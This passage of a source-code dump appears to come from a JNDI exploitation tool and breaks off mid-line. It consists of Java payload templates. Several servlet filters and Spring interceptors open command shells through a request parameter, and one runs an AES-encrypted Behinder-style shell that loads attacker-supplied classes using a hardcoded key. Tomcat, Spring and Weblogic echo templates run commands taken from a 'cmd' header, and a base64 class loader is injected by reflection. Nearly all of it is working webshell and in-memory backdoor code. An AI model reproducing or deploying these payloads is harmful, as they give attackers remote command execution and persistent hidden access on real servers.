| 30 | @Override 31 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 32 | System.out.println("[+] Dynamic Filter says hello"); 33 | 34 | if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){ 35 | //basic cmd shell 36 | String cmd = servletRequest.getParameter(basicCmdShellPwd); 37 | if(cmd != null && !cmd.isEmpty()){ 38 | String[] cmds = null; 39 | if(File.separator.equals("/")){ 40 | cmds = new String[]{"/bin/sh", "-c", cmd}; 41 | }else{ 42 | cmds = new String[]{"cmd", "/C", cmd}; 43 | } 44 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 45 | servletResponse.getWriter().println(result); 46 | } 47 | }else if(((HttpServletRequest)servletRequest).getHeader(behinderShellHeader) != null){ 48 | //behind3 shell 49 | try{ 50 | if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){ 51 | String k = behinderShellPwd; 52 | ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k); 53 | Cipher cipher = Cipher.getInstance("AES"); 54 | cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); 55 | byte[] evilClassBytes = cipher.doFinal(java.util.Base64.getDecoder().decode(servletRequest.getReader().readLine())); 56 | Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 57 | Object evilObject = evilClass.newInstance(); 58 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 59 | targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); 60 | } 61 | }catch(Exception e){ 62 | e.printStackTrace(); 63 | } 64 | }else{ 65 | filterChain.doFilter(servletRequest, servletResponse); 66 | } 67 | } 68 | 69 | @Override 70 | public void destroy() { 71 | 72 | } 73 | 74 | private void initialize() { 75 | try{ 76 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 77 | try{ 78 | this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); 79 | } catch (ClassNotFoundException e) { 80 | String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; 81 | byte[] bytes = java.util.Base64.getDecoder().decode(code); 82 | Method method = null; 83 | try { 84 | method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 85 | method.setAccessible(true); 86 | this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 87 | } catch (NoSuchMethodException ex) { 88 | ex.printStackTrace(); 89 | } 90 | } 91 | } catch (IllegalAccessException e) { 92 | e.printStackTrace(); 93 | } catch (InvocationTargetException e) { 94 | e.printStackTrace(); 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DynamicInterceptorTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; 5 | import javax.crypto.Cipher; 6 | import javax.crypto.spec.SecretKeySpec; 7 | import javax.servlet.ServletRequest; 8 | import javax.servlet.ServletResponse; 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.File; 12 | import java.io.IOException; 13 | import java.lang.reflect.InvocationTargetException; 14 | import java.lang.reflect.Method; 15 | import java.util.Scanner; 16 | 17 | @Controller 18 | public class DynamicInterceptorTemplate extends HandlerInterceptorAdapter { 19 | 20 | private Class myClassLoaderClazz; 21 | private String basicCmdShellPwd = "pass"; 22 | private String behinderShellHeader = "X-Options-Ai"; 23 | private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond 24 | 25 | public DynamicInterceptorTemplate() { 26 | initialize(); 27 | } 28 | 29 | @Override 30 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 31 | System.out.println("[+] Dynamic Interceptor says hello"); 32 | 33 | if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){ 34 | //basic cmd shell 35 | String cmd = request.getParameter(basicCmdShellPwd); 36 | if(cmd != null && !cmd.isEmpty()){ 37 | String[] cmds = null; 38 | if(File.separator.equals("/")){ 39 | cmds = new String[]{"/bin/sh", "-c", cmd}; 40 | }else{ 41 | cmds = new String[]{"cmd", "/C", cmd}; 42 | } 43 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 44 | response.getWriter().println(result); 45 | 46 | return false; 47 | } 48 | }else if(request.getHeader(behinderShellHeader) != null){ 49 | //behind3 shell 50 | try{ 51 | if (request.getMethod().equals("POST")){ 52 | String k = behinderShellPwd; 53 | request.getSession().setAttribute("u",k); 54 | Cipher cipher = Cipher.getInstance("AES"); 55 | cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES")); 56 | byte[] evilClassBytes = cipher.doFinal(java.util.Base64.getDecoder().decode(request.getReader().readLine())); 57 | Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 58 | Object evilObject = evilClass.newInstance(); 59 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 60 | targetMethod.invoke(evilObject, new Object[]{request, response}); 61 | } 62 | }catch(Exception e){ 63 | e.printStackTrace(); 64 | } 65 | 66 | return false; 67 | } 68 | 69 | return true; 70 | } 71 | 72 | private void initialize(){ 73 | try{ 74 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 75 | try{ 76 | this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); 77 | } catch (ClassNotFoundException e) { 78 | String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; 79 | byte[] bytes = java.util.Base64.getDecoder().decode(code); 80 | 81 | Method method = null; 82 | try { 83 | method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 84 | method.setAccessible(true); 85 | this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 86 | } catch (NoSuchMethodException ex) { 87 | ex.printStackTrace(); 88 | } 89 | } 90 | } catch (IllegalAccessException e) { 91 | e.printStackTrace(); 92 | } catch (InvocationTargetException e) { 93 | e.printStackTrace(); 94 | } 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DynamicInterceptorTemplate2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import java.io.File; 4 | import java.io.FileNotFoundException; 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | import java.nio.file.Files; 9 | import java.nio.file.Paths; 10 | import java.util.Scanner; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import org.springframework.stereotype.Controller; 14 | import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; 15 | 16 | // for JDK 9 to JDK 16 17 | @Controller 18 | public class DynamicInterceptorTemplate2 extends HandlerInterceptorAdapter { 19 | private Class myClassLoaderClazz; 20 | private String basicCmdShellPwd = "pass"; 21 | 22 | public DynamicInterceptorTemplate2() { 23 | this.initialize(); 24 | } 25 | 26 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 27 | System.out.println("[+] Dynamic Interceptor2 says hello"); 28 | String k; 29 | if (request.getParameter("type") != null && request.getParameter("type").equals("basic")) { 30 | k = request.getParameter(this.basicCmdShellPwd); 31 | if (k != null && !k.isEmpty()) { 32 | String[] cmds; 33 | if (File.separator.equals("/")) { 34 | cmds = new String[]{"/bin/sh", "-c", k}; 35 | } else { 36 | cmds = new String[]{"cmd", "/C", k}; 37 | } 38 | 39 | String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next(); 40 | response.getWriter().println(result); 41 | return false; 42 | } 43 | } 44 | 45 | return true; 46 | } 47 | 48 | private void initialize() { 49 | try { 50 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 51 | 52 | try { 53 | this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); 54 | } catch (ClassNotFoundException var8) { 55 | String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; 56 | byte[] bytes = java.util.Base64.getDecoder().decode(code); // from base64 string to class bytes 57 | Method method = null; 58 | 59 | try { 60 | method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 61 | method.setAccessible(true); 62 | this.myClassLoaderClazz = (Class)method.invoke(classLoader, bytes, 0, bytes.length); 63 | } catch (NoSuchMethodException var7) { 64 | var7.printStackTrace(); 65 | } 66 | } 67 | } catch (IllegalAccessException var9) { 68 | var9.printStackTrace(); 69 | } catch (InvocationTargetException var11) { 70 | var11.printStackTrace(); 71 | } 72 | 73 | } 74 | 75 | public static void main(String[] args) { 76 | byte[] classContent; 77 | try { 78 | classContent = Files.readAllBytes(Paths.get("C:\\repos\\JNDIExploit\\target\\classes\\com\\feihong\\ldap\\template\\DynamicInterceptorTemplate2.class")); 79 | } catch (FileNotFoundException e) { 80 | throw new RuntimeException(e); 81 | } catch (IOException e) { 82 | throw new RuntimeException(e); 83 | } 84 | 85 | String base64ClassContent = java.util.Base64.getEncoder().encodeToString(classContent); // from class content to base64 string. 86 | System.out.println(base64ClassContent); 87 | } 88 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DynamicInterceptorTemplate3.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import java.io.File; 4 | import java.io.FileNotFoundException; 5 | import java.io.IOException; 6 | import java.lang.invoke.MethodHandles; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.nio.file.Files; 10 | import java.nio.file.Paths; 11 | import java.util.Scanner; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import org.springframework.stereotype.Controller; 15 | import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; 16 | 17 | @Controller 18 | public class DynamicInterceptorTemplate3 extends HandlerInterceptorAdapter { 19 | private Class myClassLoaderClazz; 20 | private String basicCmdShellPwd = "pass"; 21 | 22 | public DynamicInterceptorTemplate3() { 23 | this.initialize(); 24 | } 25 | 26 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 27 | System.out.println("[+] Dynamic Interceptor3 says hello"); 28 | String k; 29 | if (request.getParameter("type") != null && request.getParameter("type").equals("basic")) { 30 | k = request.getParameter(this.basicCmdShellPwd); 31 | if (k != null && !k.isEmpty()) { 32 | String[] cmds; 33 | if (File.separator.equals("/")) { 34 | cmds = new String[]{"/bin/sh", "-c", k}; 35 | } else { 36 | cmds = new String[]{"cmd", "/C", k}; 37 | } 38 | 39 | String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next(); 40 | response.getWriter().println(result); 41 | return false; 42 | } 43 | } 44 | 45 | return true; 46 | } 47 | 48 | private void initialize() { 49 | try { 50 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 51 | 52 | try { 53 | this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); 54 | } catch (ClassNotFoundException var8) { 55 | String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; 56 | byte[] bytes = java.util.Base64.getDecoder().decode(code); // from base64 string to class bytes 57 | // Method method = null; 58 | // 59 | // try { 60 | // method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 61 | // method.setAccessible(true); 62 | // this.myClassLoaderClazz = (Class)method.invoke(classLoader, bytes, 0, bytes.length); 63 | // } catch (NoSuchMethodException var7) { 64 | // var7.printStackTrace(); 65 | // } 66 | 67 | // this.myClassLoaderClazz = sun.misc.Unsafe.getUnsafe().defineClass("com.feihong.ldap.template.MyClassLoader",bytes, 0, bytes.length ); 68 | System.out.println("[*] java.lang.invoke.MethodHandles.lookup"); 69 | // this.myClassLoaderClazz = java.lang.invoke.MethodHandles.lookup().defineClass(bytes); 70 | MethodHandles.Lookup lookup = java.lang.invoke.MethodHandles.lookup(); 71 | Method method = MethodHandles.Lookup.class.getMethod("defineClass", byte[].class); 72 | this.myClassLoaderClazz = (Class) method.invoke(lookup, bytes); 73 | // ref: https://stackoverflow.com/questions/66974846/java-lang-exceptionininitializererror-with-java-16-j-l-classformaterror-access/67006749#67006749 74 | } 75 | } catch (IllegalAccessException | NoSuchMethodException | InvocationTargetException var9) { 76 | var9.printStackTrace(); 77 | } 78 | 79 | } 80 | 81 | public static void main(String[] args) { 82 | byte[] classContent; 83 | try { 84 | classContent = Files.readAllBytes(Paths.get("C:\\repos\\JNDIExploit\\target\\classes\\com\\feihong\\ldap\\template\\DynamicInterceptorTemplate3.class")); 85 | } catch (FileNotFoundException e) { 86 | throw new RuntimeException(e); 87 | } catch (IOException e) { 88 | throw new RuntimeException(e); 89 | } 90 | 91 | String base64ClassContent = java.util.Base64.getEncoder().encodeToString(classContent); // from class content to base64 string. 92 | System.out.println(base64ClassContent); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/MyClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | public class MyClassLoader extends ClassLoader { 4 | MyClassLoader(ClassLoader c){super(c);} 5 | 6 | 7 | public static Class defineClass(byte[] bytes, ClassLoader classLoader){ 8 | return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/SpringEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.springframework.web.context.request.RequestAttributes; 9 | import org.springframework.web.context.request.RequestContextHolder; 10 | import org.springframework.web.context.request.ServletRequestAttributes; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | 14 | public class SpringEchoTemplate extends AbstractTranslet { 15 | 16 | public SpringEchoTemplate(){ 17 | try{ 18 | RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes(); 19 | HttpServletRequest httprequest = ((ServletRequestAttributes) requestAttributes).getRequest(); 20 | HttpServletResponse httpresponse = ((ServletRequestAttributes) requestAttributes).getResponse(); 21 | 22 | String cmd = httprequest.getHeader("cmd"); 23 | if(cmd != null && !cmd.isEmpty()){ 24 | String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 25 | httpresponse.getWriter().println(res); 26 | } 27 | }catch(Exception e){ 28 | e.printStackTrace(); 29 | } 30 | } 31 | 32 | @Override 33 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 34 | 35 | } 36 | 37 | @Override 38 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 39 | 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/Template.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | public interface Template { 4 | void generate(); 5 | byte[] getBytes(); 6 | void cache(); 7 | String getClassName(); 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import java.lang.reflect.Field; 9 | import java.util.List; 10 | import java.util.Scanner; 11 | 12 | public class TomcatEchoTemplate extends AbstractTranslet { 13 | 14 | public TomcatEchoTemplate(){ 15 | try{ 16 | boolean var4 = false; 17 | Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); 18 | 19 | for(int var6 = 0; var6 < var5.length; ++var6) { 20 | Thread var7 = var5[var6]; 21 | if (var7 != null) { 22 | String var3 = var7.getName(); 23 | if (!var3.contains("exec") && var3.contains("http")) { 24 | Object var1 = getFV(var7, "target"); 25 | if (var1 instanceof Runnable) { 26 | try { 27 | var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); 28 | } catch (Exception var13) { 29 | continue; 30 | } 31 | 32 | List var9 = (List)getFV(var1, "processors"); 33 | 34 | for(int var10 = 0; var10 < var9.size(); ++var10) { 35 | Object var11 = var9.get(var10); 36 | var1 = getFV(var11, "req"); 37 | Object var2 = var1.getClass().getMethod("getResponse").invoke(var1); 38 | var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho"); 39 | if (var3 != null && !var3.isEmpty()) { 40 | var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); 41 | var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3); 42 | var4 = true; 43 | } 44 | 45 | var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "cmd"); 46 | if (var3 != null && !var3.isEmpty()) { 47 | var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); 48 | String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3}; 49 | writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes()); 50 | var4 = true; 51 | } 52 | 53 | if ((var3 == null || var3.isEmpty()) && var4) { 54 | writeBody(var2, System.getProperties().toString().getBytes()); 55 | } 56 | 57 | if (var4) { 58 | break; 59 | } 60 | } 61 | 62 | if (var4) { 63 | break; 64 | } 65 | } 66 | } 67 | } 68 | } 69 | }catch (Exception e){ 70 | e.printStackTrace(); 71 | } 72 | } 73 | 74 | private static void writeBody(Object var0, byte[] var1) throws Exception { 75 | Object var2; 76 | Class var3; 77 | try { 78 | var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); 79 | var2 = var3.newInstance(); 80 | var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length)); 81 | var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); 82 | } catch (NoSuchMethodException var5) { 83 | var3 = Class.forName("java.nio.ByteBuffer"); 84 | var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); 85 | var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); 86 | } 87 | 88 | } 89 | 90 | private static Object getFV(Object var0, String var1) throws Exception { 91 | Field var2 = null; 92 | Class var3 = var0.getClass(); 93 | 94 | while(var3 != Object.class) { 95 | try { 96 | var2 = var3.getDeclaredField(var1); 97 | break; 98 | } catch (NoSuchFieldException var5) { 99 | var3 = var3.getSuperclass(); 100 | } 101 | } 102 | 103 | if (var2 == null) { 104 | throw new NoSuchFieldException(var1); 105 | } else { 106 | var2.setAccessible(true); 107 | return var2.get(var0); 108 | } 109 | } 110 | 111 | @Override 112 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 113 | 114 | } 115 | 116 | @Override 117 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 118 | 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/WeblogicEchoTemplate.java: -------------------------------------------------------------------------------- 1 | //package com.feihong.ldap.template; 2 | // 3 | //import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | //import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | //import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | //import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | //import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | //import weblogic.servlet.internal.ServletResponseImpl; 9 | //import weblogic.work.ExecuteThread; 10 | //import weblogic.work.WorkAdapter; 11 | //import weblogic.xml.util.StringInputStream; 12 | //import java.lang.reflect.Field; 13 | //import java.util.Scanner; 14 | // 15 | //public class WeblogicEchoTemplate extends AbstractTranslet { 16 | // 17 | // public WeblogicEchoTemplate(){ 18 | // try{ 19 | // WorkAdapter adapter = ((ExecuteThread)Thread.currentThread()).getCurrentWork(); 20 | // if(adapter.getClass().getName().endsWith("ServletRequestImpl")){ 21 | // String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, "cmd"); 22 | // if(cmd != null && !cmd.isEmpty()){ 23 | // String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 24 | // ServletResponseImpl res = (ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); 25 | // res.getServletOutputStream().writeStream(new StringInputStream(result)); 26 | // res.getServletOutputStream().flush(); 27 | // res.getWriter().write(""); 28 | // } 29 | // }else{ 30 | // Field field = adapter.getClass().getDeclaredField("connectionHandler"); 31 | // field.setAccessible(true); 32 | // Object obj = field.get(adapter); 33 | // obj = obj.getClass().getMethod("getServletRequest").invoke(obj); 34 | // String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); 35 | // if(cmd != null && !cmd.isEmpty()){ 36 | // String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 37 | // ServletResponseImpl res = (ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); 38 | // res.getServletOutputStream().writeStream(new StringInputStream(result)); 39 | // res.getServletOutputStream().flush(); 40 | // res.getWriter().write(""); 41 | // } 42 | // } 43 | // }catch(Exception e){ 44 | // e.printStackTrace(); 45 | // } 46 | // } 47 | // 48 | // @Override 49 | // public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 50 | // 51 | // } 52 | // 53 | // @Override 54 | // public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 55 | // 56 | // } 57 | //} 58 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Cache.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import com.feihong.ldap.template.*; 4 | import net.jodah.expiringmap.ExpirationPolicy; 5 | import net.jodah.expiringmap.ExpiringMap; 6 | import java.util.concurrent.TimeUnit; 7 | 8 | public class Cache { 9 | private static ExpiringMap map = ExpiringMap.builder() 10 | .maxSize(1000) 11 | .expiration(30, TimeUnit.SECONDS) 12 | .variableExpiration() 13 | .expirationPolicy(ExpirationPolicy.CREATED) 14 | .build(); 15 | 16 | static{ 17 | try { 18 | //过期时间100年,永不过期的简单方法 19 | map.put("TomcatEchoTemplate", Util.getClassBytes(TomcatEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 20 | map.put("SpringEchoTemplate", Util.getClassBytes(SpringEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 21 | // map.put("WeblogicEchoTemplate", Util.getClassBytes(WeblogicEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 22 | map.put("TomcatMemshellTemplate1", Util.getClassBytes(TomcatMemshellTemplate1.class), 365 * 100, TimeUnit.DAYS); 23 | map.put("TomcatMemshellTemplate2", Util.getClassBytes(TomcatMemshellTemplate2.class), 365 * 100, TimeUnit.DAYS); 24 | map.put("JettyMemshellTemplate", 